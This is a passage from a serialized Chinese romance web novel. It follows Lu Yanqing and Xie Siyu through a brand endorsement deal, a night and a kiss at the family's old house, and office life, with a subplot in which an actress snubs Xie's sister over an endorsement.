宋薇有些紧张地看向钟晚意,后者安抚地拍拍她的肩:“放松,你肯定可以。” 谢思虞看着她们互动,突然想起什么,凑到陆言卿耳边低语:“我记得你办公室有套茶具,不如……” 陆言卿会意,吩咐魏洁去准备。 很快,宋薇就在茶香袅袅中放松下来,动作优雅地展示着茶艺,对面杨姗抓住这个瞬间,直接用手机拍照。 “完美!” 杨姗看着刚拍的照片,激动地说,“这几张照片都不用修,直接能用。” 钟晚意得意地挑眉:“我就说我们薇薇可以胜任吧。” 当合同签订那刻,宋薇高高悬挂的心才稳稳落地,余光瞥向斜前方的谢思虞,全程她没有说几句话,更不像之前那样否定她。 是因为陆总吗? 杨姗能邀请宋薇代言「云裳」算是意外之喜,热情大方要邀请所有人吃饭,最后陆言卿婉言拒绝:“杨总,今天中午我和思虞就不去了,等品牌联名活动结束,我们再聚餐。” 杨姗也没有露出失望:“知道这几天陆总忙,那咱们改天再聚。” 临走时,钟晚意来到陆言卿身边,压低声音说:“谢谢卿卿,月底请你和思虞姐去雪场玩。” “到时候再说。” 陆言卿也知道钟晚意今天跟着来的目的,她还能把宋薇怎样不成? 目送几人离开,见好友处处护着宋薇,脑子里冒出一个大胆的想法。 “应该不会吧?” 谢思虞没听清陆言卿嘀咕的话,温柔问:“你说什么?” 没谱儿的事陆言卿自然不会乱说:“没事,可能是我看错了。” 但愿是她看错了吧- 五天过后。 祖母额头上的伤口结疤,身上其他地方也没有问题,只有右腿还打折石膏,但骨折不是十天半个月就能好的,更别提她已经快80岁高龄了。 不愿意整天待在医院,老宅有李婶和另外两名佣人照顾,便办理了出院。 陆言卿和谢思虞晚上去老宅看望两位老人。 晚饭后,谢思虞陪着祖父在书房喝茶,老人看出她欲言又止,猜到缘由温声道:“股份给你收着就是,这原本就是你应得的。” “爷爷,我……” 谢思虞握紧了手里的茶杯,尾音颤抖。 “看到你和言卿好好的,我就放心了。”陆老重新给谢思虞续了一杯热茶,目光慈爱。 无论这两个孩子因为什么而走到一起,只要殊途同归就好。 与此同时,老宅院子里,陆言卿推着轮椅停在凉亭前,弯下腰手指拨弄杜鹃花的花苞:“奶奶,这些杜鹃花要开了。” 榕城天气越来越暖和,估计3月初,院子里的杜鹃花就要绽放了。 自从祖母跌倒后,祖父命人在院子里安装了照明灯,此时有光照着,她看见花圃丛里无数杜鹃花苞。 夜风吹拂着花枝,祖母指着凉亭旁说:“还记得吗?这里原本是棵杏树。” 陆言卿顺着望去,凉亭右侧也是大片的杜鹃花枝,记忆中,这里确实是一棵杏树。 “你八岁那年,非要爬上去摘杏子。”祖母笑着摇头,“结果摔下来伤了腿,打了三个月石膏,你爷爷气得第二天就把树砍了。” 陆言卿羞赧抿唇,摸摸鼻子:“后来不是种了我最喜欢的杜鹃嘛。” “是啊,” 祖母轻叹,“那会儿你躺在病床上还惦记着看花……” 如今孩子们都大了,而她也老了。 夜深人静,祖母让陆言卿和谢思虞留下过夜,表示老宅一直留着陆言卿的房间,平时阿姨也在打扫,床上的四件套也是崭新的。 话都说到这个份上,陆言卿哪里忍心再拒绝,只好看向身侧的谢思虞:“16岁前我都住在这里。” 高中念的住校,大学更是在京都,留宿老宅的日子也越来越少。 几分钟后,陆言卿卧室里,谢思虞打量着这个充满年代感的房间。 书架上整齐排列着课本,墙上还贴着泛黄的奖状。 浴室水声哗哗作响,她顺手拿起梳妆台上的相框——高中毕业照里的陆言卿站在角落,身穿蓝白色校服,脸上挂着明媚灿烂的微笑,让她看了许久。 “看什么呢?” 陆言卿擦着头发走出浴室,见谢思虞站在梳妆台前发呆。 谢思虞慌忙放下相框,随便找了个话题:“你高中时好高呀。” 素面朝天,也漂亮的让人挪不开眼,就算站在人群里,还是叫她一眼便认出来。 “那会儿挺爱运动,记得高一秋季运动会,我跑1500米还得了冠军。” 提到曾经擅长的事,陆言卿眼中难言骄傲,不过想到后来发生的一件事,擦拭头发的手顿了下,“你快去洗澡吧。” 没有错过陆言卿眼底稍纵即逝的黯然,谢思虞攥着衣裙的手紧了紧,张了张嘴巴,终究没有勇气问出口。 因为她怕,怕好不容易经营的一切,化为泡影。 正是因为尝过陆言卿给的甜,她才更没有勇气去赌。 陆言卿不知道谢思虞在想什么,从柜子里拿出一套干净的睡裙递给她,推着她往浴室方向走:“架子上有干净的毛巾,洗脸池台面上带猫咪图案的粉色杯子是新的。” 半个小时后两人躺在1.5米宽的实木床上,几乎是肩膀挨着肩膀,相比公寓的大床,这张床就显得格外狭窄。 皎洁的月光透过纱帘洒进房间,即便是熄灯也能勉强看清周围的物体。 “阿虞。” 陆言卿突然侧身。 “嗯?” 一个轻如蝶翼的吻落在唇上。 谢思虞呼吸一滞,无意识揪紧了被单。 陆言卿掌心突然贴上她的腰肢,她更是惊地一动不动,今晚跟前几晚都不同,她们都是清醒的状态。 感觉到陆言卿轻轻叩开她的贝齿,温热的舌尖探进来,勾缠,吮吸,周而复始,温柔又缱绻。 不是之前的蜻蜓点水,这个吻持续了很长时间,谢思虞闭上眼,呼吸急促,心跳快得像是要蹦出来。 原来清醒时的亲吻是这样的——能清晰感受到对方睫毛的颤动,呼吸的交缠,还有唇瓣相贴时那细微的电流。 分开时陆言卿的拇指擦过谢思虞泛红的脸颊,笑着问:“喜欢吗?” 谢思虞把发烫的脸埋进枕头,羞得不行,哪里会回答这人露骨的问题。 只是温柔地勾住了对方的小指。 这便是她的答案。 喜欢。 很喜欢。 第30章【VIP】 第30章 我牵着你,阿虞就不用看路了 次日晨光熹微, 陆言卿拒绝了祖母在老宅吃早餐的提议,轻车熟路带着谢思虞拐进巷子深处。 记忆中熟悉早餐店的门头已经翻新过了,但熟悉的香味还是从里面飘出来。 “李叔, 老样子,但今天多一份豆浆油条。” 陆言卿朝正在炸油条的老板打招呼,转头对谢思虞解释, “以前是李奶奶炸油条,现在换她儿子儿媳了。” 谢思虞温柔点头, 跟在陆言卿身后往里面走,好奇地打量着这个充满烟火气的小店。 木质桌椅被擦得发亮,墙上挂着崭新的营业执照, 角落里有一台老式收音机还在播着早间新闻。 两人在最里面找了一张餐桌, 刚坐下老板娘就把热腾腾的豆腐脑端上来,陆言卿说了声谢谢, 便熟练地加了一小勺辣椒,推到谢思虞面前:“要挑战一下吗?” 谢思虞眨眨眼,拿起勺子舀了一小口,辣味在舌尖蔓延,突然让她想起昨晚那个同样火热的吻,下意识抿了抿唇。 “还好。” 她小声说,却见陆言卿已经笑着把碗拿回去, 毫不在意用她使用过的勺子继续吃。 “李奶奶家的豆浆都是现磨的。” 陆言卿尝了一口豆腐脑,还是记忆中的味道, 把油条掰成小段泡进豆浆里, 推到谢思虞面前, “你试试这个。” 谢思虞接过那碗豆浆,指尖不小心碰到陆言卿的手。 昨晚的画面又浮现在眼前——黑暗中她们相拥交织在一起的呼吸, 陆言卿落在她唇上的温度,还有她擦过她脸颊的指尖。 “怎么了?脸这么红。” 陆言卿压根儿没想过谢思虞是害羞,见她脸颊泛红,还以为是豆腐脑太辣,开口嗓音带着担忧,“太辣了?” “不是辣。” 按住陆言卿起身要去拿水的手腕,谢思虞慌忙摇头,低头咬了一口碗里已经浸软的油条。 豆浆的醇香在口中化开,却压不住心头那股甜意。 她偷偷抬眼,撞进陆言卿温柔的眼眸里,那目光温柔得像是能融化整个清晨的寒意。 “抱歉,我不知道李叔家换了辣椒。” 陆言卿把纸巾揉进手里,确定谢思虞不需要水,才再次拿起勺子吃豆腐脑。 屋外的阳光越来越暖。 谢思虞觉得这个早晨前所未有的温馨和甜蜜。 二十分钟后。 陆言卿和谢思虞往回走,路过一个T字路口,因为路边有辆黑色大众商务车,道路变得狭窄。 三四个青少年骑着单车飞驰而过,陆言卿眼疾手快握住谢思虞的手腕往怀里带,差一点,对方挂在自行车龙头上的篮球就打到谢思虞身上。 “没事吧?” 陆言卿垂眸询问怀里的人,虽然是虚惊一场,低沉的嗓音却带着显而易见的紧张。 “谢谢,我没事。” 谢思虞抬头,正对上陆言卿蹙起的眉头——这人连担心的表情都好看得过分。 陆言卿的怀抱很温暖,淡淡的雪松香混着晨间的豆浆甜味将她笼罩,令她恍惚了一瞬。 “我牵着你,阿虞就不用看路了。” 陆言卿的手顺势滑下来,自然而然地牵住谢思虞,将她护到道路内侧。 温柔的眼眸里闪过一抹恶趣味,指腹轻轻磨挲对方的手背。 谢思虞当然听出陆言卿在打趣她,抿着唇没接话,是害羞。 也有一点小雀跃。 陆言卿在这样极小的事情上都在意她,是不是说明,她开始慢慢对她上心了呢? 与此同时,路边的黑色大众车上。 苏蔓会看到这一幕也是意外,《神殒九霄》要更换拍摄场地,导演给全剧组演员和工作人员放两天假,她今早过来老城区,是为了见高中老师。 保姆车副驾驶,助理黄凌低垂着头看手机,她没注意到刚外面发生的小插曲,退出微信文档对苏蔓说:“苏蔓姐,林姐那边说谢氏旗下轻奢服装品牌Elis的千金,谢知瑶想约您聊品牌代言的事。” Elis? 苏蔓有印象,可让她去代言Elis这样的小众品牌,是不是大材小用了? 按理说经纪人林姐会直接处理这种小事,根本不会拿到她面前来。 “榕城谢家?” 猛然想起谢知瑶是谢思虞的妹妹,苏蔓再次看向车窗外,路边早已没有了那两人的身影。 片刻后,苏蔓收回视线,指尖在手机屏幕上轻敲,嗓音轻慢:“告诉林姐,今晚七点,澜庭酒店。” 她漫不经心拨弄着裙摆上绣的鸢尾花,“让那位谢小姐等着。” 黄凌欲言又止:“可是今晚不是约了陈制片聊试镜……的事情吗?” “我们晚一点到应该没关系。” 苏蔓轻笑,“总得给谢家小姐留足化妆打扮的时间,不是吗?” 车窗映出她精致的侧脸,也映出眼底那抹晦暗不明的情绪。 陆言卿护着谢思虞的样子像根刺,轻轻扎在她心头。 曾几何时,那人也这般护过她- 上午10点,陆氏集团。 谢思虞虽然降职为集团副总裁,但之前已经接手的项目还是由她负责。 3月初西郊店商场品牌联名活动还有8天开始,集团各个部门都比较忙碌,相对之下人事部就比较“清闲”。 副总办公室。 沈砚清找谢思虞签相关人事调动的文件,对方签好字后她却坐在办公椅上没动,而是双手托着下巴,耐人寻问的目光落在某人身上。 谢思虞被她看着浑身不自在,只好抬眸看向沈砚清,无奈问:“你还有事?” 沈砚清点点头:“嗯嗯。” “说说呗,你最近和陆总到哪一步了?” 想到清晨谢思虞发的朋友圈:第一次尝试加辣椒的豆腐脑,味道还不错。 配图是一张老城区巷子口的照片,还有老奶奶在街边缝补衣服。 谢思虞看着面前穿着得体,眼睛里却闪着八卦光芒的朋友,真想让集团员工看看她这幅模样。 无奈只能将手中的签字笔放下,身体后仰靠着座椅靠背。 “就那么想知道?” “当然,作为你的好朋友,我这是关心你的情感生活。” “……要不要听听你在说什么?” 谢思虞第三次叹息,算是知道今儿沈砚清得不到答案是不会离开的,于是含糊其辞:“我们很好。” 沈砚清眯起眼,推了推鼻梁上方的眼镜,平时高冷寡言的沈总监,却语出惊人:“你们睡了吗?” 正在喝茉莉花茶的谢思虞直接被水呛了喉咙,猛地咳嗽起来,好半晌才缓和过来,片刻功夫脸颊已然通红。 也不知道是呛的,还是害羞的。 支支吾吾嘟囔了句:“没……只是接吻。” “啊~” 听沈砚清口气莫名有点失望,盯着谢思虞上下打量,有点怀疑,“陆总每晚抱着你睡觉,就没有心猿意马?” “沈砚清你差不多够了。” 谢思虞攥紧擦拭嘴角水渍的纸巾,端着杯子来到茶水壶前,故意背对着沈砚清,提高音量来掩饰自己的慌乱无措。 不说那微微泛红的耳根,就是心跳也变得不听话起来。 扑通,扑通。 似乎是欢愉,又似乎是嘲讽她没出息。 昨晚被陆言卿抱着亲吻时是这样,如今被好友追问也是这般。 她都怀疑它跳的如此频繁又紊乱,是不是出现了问题。 沈砚清还想问什么,只见虚掩的办公室门被人从外面推开,只好悻悻然耸肩,拿着文件夹站起身。 进来的人是陆言卿,她微微颔首,小声打招呼:陆总。 “你别问了,我们现在这样就很好。” 谢思虞手指无意识地摩挲着玻璃杯壁,冰凉的触感让她稍微冷静了些。 她盯着杯中晃动的茶水,轻声自语:“其实我也不确定我们能……走多远。” “你在嘀咕什么?” 身后突然响起的声音让谢思虞浑身一颤,杯子差点脱手。 陆言卿通过微信问谢思虞市场部的项目,然等了几分钟没见她回答,这才过来。 看到沈砚清后明白她们可能有事情聊。 “言卿?你……你什么时候进来的?” 谢思虞仓皇转身,鼻尖几乎擦过陆言卿的衬衫领口,淡淡的雪松香气扑面而来,她连呼吸都是颤的。 两人面对面站着距离不足两拳,下意识往后退。 可她身后是书柜,茶水壶还在边上。 眼看要撞到,陆言卿急忙扣住她的腰肢,把人摁进怀里,嗓音无奈又带着一丝担忧:“你今天怎么回事?总是冒冒失失的?” “我……” 谢思虞张了张嘴,却不知该怎么解释刚才的自言自语。 陆言卿的呼吸近在咫尺,让她大脑一片空白。 陆言卿微微蹙眉,指尖轻轻擦过谢思虞发烫的耳垂,帮她把头发整理到身后:“一上午都心不在焉的。” 语气里带着无奈的宠溺,“沈总监和你说什么了?” 谢思虞这才发现办公室里只剩她们两人,她攥紧陆言卿的袖口,又慌忙松开,指尖残留的雪松香气让她心跳更快了。 “没什么。”她低头整理并不凌乱的衣摆,“就是……工作上的事。” 陆言卿垂眸静静看了谢思虞几秒,没有打破砂锅问到底,伸手揉了揉她的发顶:“有事要告诉我。” 顿了顿,又补充道:“当然你愿意的话。” 谢思虞怔怔抬头,撞进那双盛满温柔的眼睛里。 她觉得下周去医院针灸,真的应该挂心脏科检查一下。 心跳太不正常了。 中午陆言卿和谢思虞是去楼下员工食堂用餐,两人坐在一起吃饭的画面被不少员工拍下发到工作群。 13:15分。 电梯间,陆言卿倚着电梯壁,低头翻看微信群里的内容,脸上始终挂着温和的笑意,好像她不是员工们议论的对象之一。 反倒是旁边的谢思虞,全程目睹陆言卿自己看自己的热闹,没有出言阻止不说,还往员工群里发大额红包。 一时竟不知道该说什么好。 “陆总,钟晚意钟小姐往集团前台寄了五箱枇杷,您看……要如何处理?” 两人抵达32层,陆言卿走出电梯,魏洁便迎了上来。 几乎是同一时间,陆言卿收到了钟晚意的私信。 【卿卿,宋薇去S出差刚好遇到当地枇杷成熟,便寄了8箱回来,我尝过了,味道很好,就给你寄了些。】 【代言的事,再次感谢啦~】 陆言卿锁了手机屏幕,对魏洁说:“你拿一箱到谢副总办公室,其余的分给大家吃。” 魏洁点点头,转身去处理了。 陆言卿揉了揉眉心,眼下隐约泛着淡淡的青色,谢思虞注意到她脸上的倦色,轻声道:“去里面睡会儿吧。” “也行。” 昨晚在老宅,她卧室的床太小了,深夜被子还掉落在地上,她是被冷醒的,反正后半夜没怎么休息好。 推开办公室休息间的门,陆言卿没有立刻往床边走,而是握住谢思虞的手腕,指腹在她细腻的皮肤上摩挲了一下:“一起?” 谢思虞耳尖微热,摇头:“我不习惯午睡。” “那就陪我躺会儿。” 陆言卿不由分说地将人带到床边,摁着谢思虞坐下,弯下腰亲自帮她脱鞋,温声道,“哪怕睡不着,闭目养神也好。” 床很柔软,谢思虞抓紧了身-下的床单,她根本不会拒绝陆言卿。 僵着身子躺下。 陆言卿仔细把枕头上谢思虞散落的长发抚开,似乎察觉到了某人的不自在。 躺下后揽着她的腰往怀里带了带,眼中带笑:“我不做什么,你放松点。” 因为她确定了一件事,好像有她在身边,谢思虞不用吃安眠药也能入睡。 “嗯,你睡吧。” 谢思虞红着脸,躺在陆言卿怀里,闻到她身上浅浅的山茶花清香,只觉得安心无比。 很快,也闭上了眼睛。 半小时后,陆言卿的呼吸渐渐平稳,谢思虞轻手轻脚地起身,薄薄的羽绒被盖在了对方腰上。 带上休息间的门,看到茶几上那箱新鲜的枇杷,便坐下来慢慢剥了起来。 果皮被轻轻撕开,金黄的果肉饱满多汁,她将剥好的枇杷整齐地码在瓷盘里,指尖沾了些许甜腻的汁水。 休息间传来突兀的手机铃声,谢思虞回头,只见陆言卿皱着眉从里面走出来。 “是谁的电话?” 谢思虞看了下手腕上的表,才过去20分钟,意味着陆言卿只睡了半个小时左右。 陆言卿晃了晃手机:“是母亲。” 不想提糟心事,突然目光落在茶几上—— 一盘剥好的枇杷肉晶莹剔透,旁边还放着几张叠得方正的纸巾。 陆言卿无声地走到沙发后,弯腰凑近,隔着沙发问谢思虞:“枇杷甜吗?” 温热的呼吸拂过耳畔,谢思虞正拿着湿纸巾擦手,她抿了抿唇,轻声回:“你尝尝?” 主要她也没吃,所以不知道甜不甜。 陆言卿低笑,绕过沙发扶手,来到谢思虞身边坐下,伸手捻起一块果肉送入口中。 指尖残留的汁水在阳光下泛着微光,她看着某人意有所指:“嗯,很甜。” 谢思虞愣了下,反应过来陆言卿的意思,羞赧别过脸,却掩不住唇角扬起的弧度。 她懂她的意思。 是说她亲手剥的枇杷,很甜- 晚上苏蔓和陈制片吃过晚饭,正巧邹筱在附近就开车过来接她,苏蔓完全忘记了谢知瑶还在澜庭酒店一楼109包厢等她,满心欢喜随邹筱回公寓。 抵达公寓楼下,苏蔓接到经纪人电话,才恍然想起酒店等她的谢知瑶。 不以为然反驳:“林姐您干嘛动怒?谢知瑶想要让我代言Elis,总要拿出诚意不是吗?况且Elis的档次太低,我根本不想代言。” 「如果你不想接代言,可以直接跟我说,没必要戏弄谢知瑶。」 「谢家和陆家是联姻关系,你故意羞辱谢知瑶,就不怕谢思虞找你麻烦?」 苏蔓降下车窗,看向不远处健身器材,扯了扯嘴角:“林姐您放心,我心里有数。” 谢思虞真要是自降身份来找她,她倒是愿意考虑接Elis的代言。 邹筱熄了火,听到副驾驶苏蔓通话中提斜知瑶的名字,目光突然变得深邃,好奇问:“发生什么事了?” 苏蔓三言两语解释了谢知瑶想找她代言的事,谁知邹筱听完后眉头蹙了起来,解开安全带下车,绕过车头来到副驾驶,开门:“蔓蔓你先上楼,我有点事处理。” 苏蔓抿着唇,怕邹筱离开,坐在车内没动,她们已经很久很久没有温存了。 路灯昏黄,苏蔓眼底神色委屈,指尖勾着邹筱的衣角不放。 “真不跟我上去?” 她抬眼,声音软了几分。 邹筱俯身替她解开安全带,在她唇上轻啄一下:“五分钟。” 她晃了晃手机,“就打个电话。” 苏蔓这才满意,拎着包往公寓走。 她想起谢知瑶此刻可能还在酒店干等的模样,唇角不自觉扬起——谢家小姐又怎样? 在她这儿,照样得吃闭门羹。 另一边,澜庭酒店。 谢知瑶得知苏蔓今晚不会来,猛地站起身,椅子在地面划出刺耳的声响。 抓起桌上装有冰美式的杯子狠狠砸向地面,瞬间咖啡溅的到处都是。 吴兰欣扶额:“你冷静点,没准苏蔓真的有其他事。” 知道谢知瑶的性子,她站起身把摔倒的椅子扶起来,包厢门外的服务员更是吓得不敢进来,只能听见里面传来玻璃杯碎裂的声音。 等谢知瑶发泄完,吴兰欣晓之以理动之以情劝说:“既然你想自己搞定苏蔓,那就收起大小姐脾气好吧?人家是影后,圈内顶流艺人,为什么要给你面子呢?Elis是什么国际大品牌吗?” 好友连续抛出几个问题,堵的谢知瑶哑口无言,深呼吸几次,渐渐找回理智,重新在餐椅上坐下来,拨通星海娱乐公关部经理的电话,表示自己要再约一次苏蔓。 「抱歉啊,谢小姐,苏蔓最近档期很紧,你也知道她在拍摄《神殒九霄》电视剧,就只有两天在榕城休假。」 「明天是最后一天。」 毕竟给对方送了两个LV的经典款包包,谢知瑶得知苏蔓的私人行踪便挂了电话,正要起身离开,肚子咕噜咕噜响,不是她肚子,而是朋友吴兰欣。 “对不起兰兰,害你跟我一起饿肚子,咱们吃完饭再走。” 谢知瑶差点踩到地上的玻璃碎片,出声叫门口的服务员进来打扫,顺便让对方上菜。 吴兰欣撇撇嘴,小声嘀咕:“算你有良心。” 新城公寓,6栋,1302。 这里是苏蔓两年前购买的公寓,光是装修就花费了50万左右,屋内装潢,包括客厅墙面上挂的装饰画,都是她精心挑选的。 主卧,屋内点了鸢尾花香味的熏香,同苏蔓身上香水味如出一辙。 刚洗完澡,她擦着头发走出浴室,邹筱脱掉了外套,穿着雾蓝色衬衫靠在床头,手机屏幕还亮着。 “还有工作要忙?” 苏蔓凑过去,发梢的水珠滴在邹筱衬衫上。 邹筱锁上屏幕,伸手将她揽进怀里:“没什么。” 她吻了吻苏蔓还带着水汽的额头,“只是想说,有些人……不值得你费心。” 其实她更想提醒苏蔓,别去挑衅谢知瑶,更不要去打扰陆言卿,因为某人的怒火是她没办法承受的。 可惜,那人不让说。 苏蔓轻哼一声,把毛巾扔在床头柜上,翻身跨坐在邹筱腿上:“那你呢?值不值得我费心?” 突然消失两个月,电话,微信统统不回,甚至要从外人口中得知她的行程,当她都以为邹筱要跟她分手时,她又回榕城了。 一如既往的宠爱她。 然而对之前的事却没有半句解释。 交往三年,有时候苏蔓觉得她从未了解过邹筱,这个女人太神秘。 双手捧着邹筱的脸,她慢慢靠近亲了亲她的嘴角,神差鬼使问了句:“你真的爱我吗?” 邹筱低笑,并没有避开苏蔓直白的目光,手指插入她湿润的发间,眼神温柔似水:“当然。” 托着苏蔓的后脑勺,凑上前吻住了她,直到怀里的人因情动而脸颊绯红,眼中氤氲出潋滟的雾气。 邹筱不知道从哪里拿出一条丝巾,系在苏蔓眼前,温热的呼吸喷洒在她耳际,暧昧道:“今晚满足你,嗯?” 然而那双充满欲-念的眼眸里,再也没有刚才的温柔。 30-40 第31章 压着她亲了许久 凌晨两点。 邹筱站在了苏蔓公寓楼下, 夜风撩起她微卷的长发,薄荷绿连衣裙裙摆也随风轻轻晃动,她倚着车身点燃了一支烟, 猩红的火星在夜色里忽明忽暗。 知道谢思虞有失眠的毛病,平时大半夜发消息对方也会回复,于是在微信上问她:「谢知瑶找苏蔓代言Elis的事你怎么看?」 然而她等了五分钟, 十分钟,手机屏幕亮起又暗下, 发出的消息犹如石沉大海。 耐着性子又问了句:「听苏蔓的意思,想让你出面跟她聊代言。」 邹筱开车回到江海澜苑,谢思虞也没有回复她只言片语, 轻笑着摇头:“这是吃了几片安眠药?” 第二天7点半闹钟响起, 邹筱关掉闹钟又眯了会儿,十分钟后掀开被子下床。 「苏琳最近有档期吗?」 「今后按照合同办事。」 浴室刷牙的邹筱, 看到最后一条:按照合同办事,就知道苏蔓真的惹恼了谢思虞。 忍不住唏嘘。 手机放在洗手池台面上,吐掉嘴巴里的泡沫,又用清水漱了几次口,抬眸看着镜中的自己,邹筱突然笑了。 苏蔓大概还不知道,谢思虞不仅是陆氏副总, 更是星海娱乐幕后的掌权者。 而她心心念念想要羞辱的人,甚至都不需要亲自出面, 就能让她吃个闷亏。 上午11点。 榕城一家名为‘云栖’的咖啡店。 苏蔓约了朋友喝咖啡, 最近几个月邹筱忽冷忽热的态度令她心生不安, 憋在心里实在难受,迫切想找人聊聊。 结果到约定的时间, 出现在咖啡店的人不是好友,而是谢知瑶。 瞬间眼神就冷了几分。 谢知瑶穿着黑色碎花方领连衣裙,长相清丽,不发脾气时还算温婉动人,手里拎着一个丝绒礼盒,径直走到苏蔓面前坐下。 “苏小姐,打扰了。” 她将礼盒推到苏蔓面前,语气平静,“一点心意,希望你喜欢。” 苏蔓垂眸扫了一眼,连碰都没碰,只是端起咖啡浅抿了一口:“谢小姐真是费心了,连我的行程都能查到。” 谢知瑶指尖微微蜷缩,她何时这般被人轻视过?然面上仍保持着微笑:“Elis的代言,希望苏小姐能考虑考虑。” 她将合同翻开,推到苏蔓面前,“预算方面,我们可以再谈。” 苏蔓随手翻了两页合同,很快又合上,抬眸看向对面的谢知瑶,眼神带着几分居高临下的审视:“谢小姐,坦白说,Elis的预算连我平时接广告的零头都不到。” 谢知瑶捏着裙摆的指尖暗暗用力,对面苏蔓慢条斯理搅动着杯子里的咖啡,唇角挂着若有似无的笑意。 分明就是嘲笑她不自量力。 片刻后,苏蔓轻飘飘的说:“不过看在谢副总的面子上,我可以考虑。” 她刻意加重了“谢副总”三个字。 谢知瑶胸口发闷,指甲几乎要掐进掌心:“苏小姐,Elis虽然比不上国际大牌,但市场潜力很大……” “潜力?” 苏蔓轻笑一声打断她,“谢小姐,你说这话自己相信吗?” 她放下勺子,勺子与杯壁相碰,发出清脆的声响。 “不如这样,”苏蔓微微倾身,语气带着几分施舍的意味,“让你姐姐来跟我谈?” 谢知瑶的脸色瞬间变得难看。 她深吸一口气,强压下怒意:“苏小姐,我是Elis的设计师,代言的事我可以全权负责。” Elis账面上钱并不多,苏蔓张嘴就是百万代言费,她能怎么办? 苏蔓指尖轻点手机屏幕,扫了眼锁屏上的时间,似笑非笑睨着对面不可一世的千金大小姐:“谢小姐能全权负责?那你能决定把代言费翻三倍吗?” 谢知瑶一噎,她当然不能。 苏蔓见状,佯装叹了口气,语气带着几分怜悯:“谢小姐,别为难自己了。” 紧接着她戴上口罩和鸭舌帽站了起来,把手机装进链条包里,“礼物带回去吧,我不需要。” 她转身离开,谢知瑶盯着她的背影,胸口剧烈起伏,一看就是气的不轻。 本想避开谢思虞搞定苏蔓,她拿着签字的代言合同回家,好让父亲对她刮目相看。 可如今苏蔓根本不给她面子,还明里暗里表示要让谢思虞来跟她谈。 “啪——” 回到家里的谢知瑶再也控制不住脾气,一把将合同摔在桌上。 周婶端着甜汤从厨房出来,颤颤巍巍说:“大小姐,甜汤做好了。” 面上镇定,可心里却在叫苦,果不其然,谢知瑶很快把火气撒到了她身上。 “这甜汤要怎么吃?” 谢知瑶坐在餐桌前,尝了一口就摔了勺子,声音尖锐,“甜得要命!你是不是故意的?” 别以为她不知道,周婶这些年对谢思虞格外关心,暗地里却瞧不上她。 周婶张了张嘴,还没说话,谢明远和妻子从外面回来,正好撞见餐厅发生的一幕,他扫了一眼餐桌,沉声道:“你又闹什么?” 周静碰了碰丈夫的胳膊,走到谢知瑶身边,问:“心情不好?发生什么事情了。” 谢明远脱下西装外套搭在餐椅靠背上,看到桌上的代言合同,马上猜到事情的来龙去脉,眉心蹙了起来:“不知天高地厚,对方愿意出来见你,不过也是因为你是思虞的妹妹。” 父亲轻描淡写一句话就否定了她这些天的努力,谢知瑶压抑许久的情绪终于崩溃,眼泪不要钱似的落下来。 抓起合同就扔进垃圾桶:“是,我不知道天高地厚,那你让谢思虞回来继承Elis啊,还留我在公司干什么?” 谢明远脸色铁青:“你胡说八道什么,我是这个意思?” 昨天上午召开的会议,销售部和市场部总监跟他提了要更换代言人的事情,权衡利弊之下,他们想争取娱乐圈影后苏蔓。 这件事难度可想而知。 原本他想先联系思虞,如果她能出面说服苏蔓就再好不过。 “你明明就是这么想的!” 谢知瑶哭红了眼,看向谢父的目光充满了怨念和委屈,最后不顾母亲的劝说,直径离开了家。 谢明远只觉得莫名其妙,看向一旁沉默不语的妻子:“你看她现在像什么样子?跟炮仗似的一点就燃,哪里有半分大家闺秀的矜持?” 周静对丈夫的指责充耳不闻,坐在女儿之前坐的餐椅上,端起那碗甜汤吃了起来。 “算了,我还是给思虞打电话。” 谢明远疲惫地捏了捏眉心,转身往楼上走,没有看到妻子因他一句话而瞬间阴沉的脸色。 另一边。 谢思虞正跟陆言卿前往君悦酒店的路上。 车窗外的绿化带不断倒退,谢思虞握着方向盘,余光瞥见车载屏幕上跳动的来电显示——"父亲"。 “是你父亲,要接吗?” 陆言卿侧头问她。 谢思虞隐约能猜到谢父打给她要说什么,莫名私心作祟,指尖在方向盘上轻轻敲了两下,最终按下接听键:“爸,有事吗?” 电话那头,谢明远的声音带着几分急切:“思虞,Elis这边在找新的代言人,公司想争取苏蔓。” 他顿了顿,语气放缓,“你……能不能想想办法?” 谢思虞还没开口,副驾驶坐着的陆言卿脸色已经沉了下来。 开口声音清冷且不容置疑:“爸,我是陆言卿。” 电话那头明显愣了一下。 陆言卿可不管谢明远如何想,继续道:“苏蔓代言Elis的事,阿虞可能帮不上忙,您还是找别人吧。” 谢明远沉默了几秒,似乎没想到陆言卿会直接插手此事,还如此果断的拒绝他。 一时间陷入两难,只能婉言解释:“陆总,这事关系到Elis下半年的市场推广……” “我知道。” 陆言卿打断他,语气虽还平静却带着隐隐的不悦,“但苏蔓的性格您不清楚,阿虞去谈,不合适。” 电话那头这次沉默的时间很长,最终谢明远叹了口气:“……行,我再想想别的办法。” 就在陆言卿以为谢明远要挂断电话时,车载广播里又传来他的声音:“陆总,如果今天不忙,晚上和思虞回家吃顿便饭?” 话已至此,陆言卿找不到拒绝的理由,抬眸看向正开车的谢思虞,给了对方明确的回复:“好,今晚我会和阿虞过去。” 通话就此结束,车内也安静下来。 全程,陆言卿和谢父说话的全程,谢思虞一颗心都高高悬挂着,呼吸也不敢太大声,直到某人毫无保留站在她这边。 此时,一颗心被揉的稀巴烂。 她承认自己有些卑鄙。 侧头看了陆言卿一眼,温柔道:“其实没关系。” 陆言卿轻哼,前方路口红灯,车平稳停下,她才伸手捏了捏谢思虞的指尖:“你没必要去见她。” 苏蔓什么性格,她多少知道一些。 谢思虞莞尔一笑,反手握住陆言卿的手,指尖在她掌心轻轻挠了下:“那要是父亲坚持要我去呢?” “那我就陪你一起。” 陆言卿语气淡淡,却透着不容反驳的意味。 红灯倒计时结束。 谢思虞松开陆言卿的手,目视前方,轻踩油门,车辆缓缓启动,不经意问:“怕我被她欺负?” 陆言卿摇摇头:“只是怕你受委屈。” 苏蔓表面上温柔谦和,然骨子里是骄傲的,对自己狠,对旁人也不见底会心软。 半个小时后。 君悦酒店一楼。 陆言卿去洗手间了,谢思虞站在走廊拐角处等她,指尖无意识地摩挲着包包的链条。 两名服务员推着餐车从电梯出来,经过她身旁,谈话声清晰地传入耳中。 “308包厢的陶小姐不愧是名媛千金,长得漂亮,说话也温温柔柔的,刚才还帮我扶了下餐车。” “我之前在网上看过她弹钢琴的视频,超美的,刚你没听陆夫人夸陶小姐吗?” 链条突然硌进掌心,谢思虞这才发现自己的手攥得有多紧。 陶菀之——三年前也是陆言卿相亲对象之一,颇受陆母喜爱,此刻就在三十米外的包厢里。 她摸出包里的手机,微信上今早陆母发来的消息。 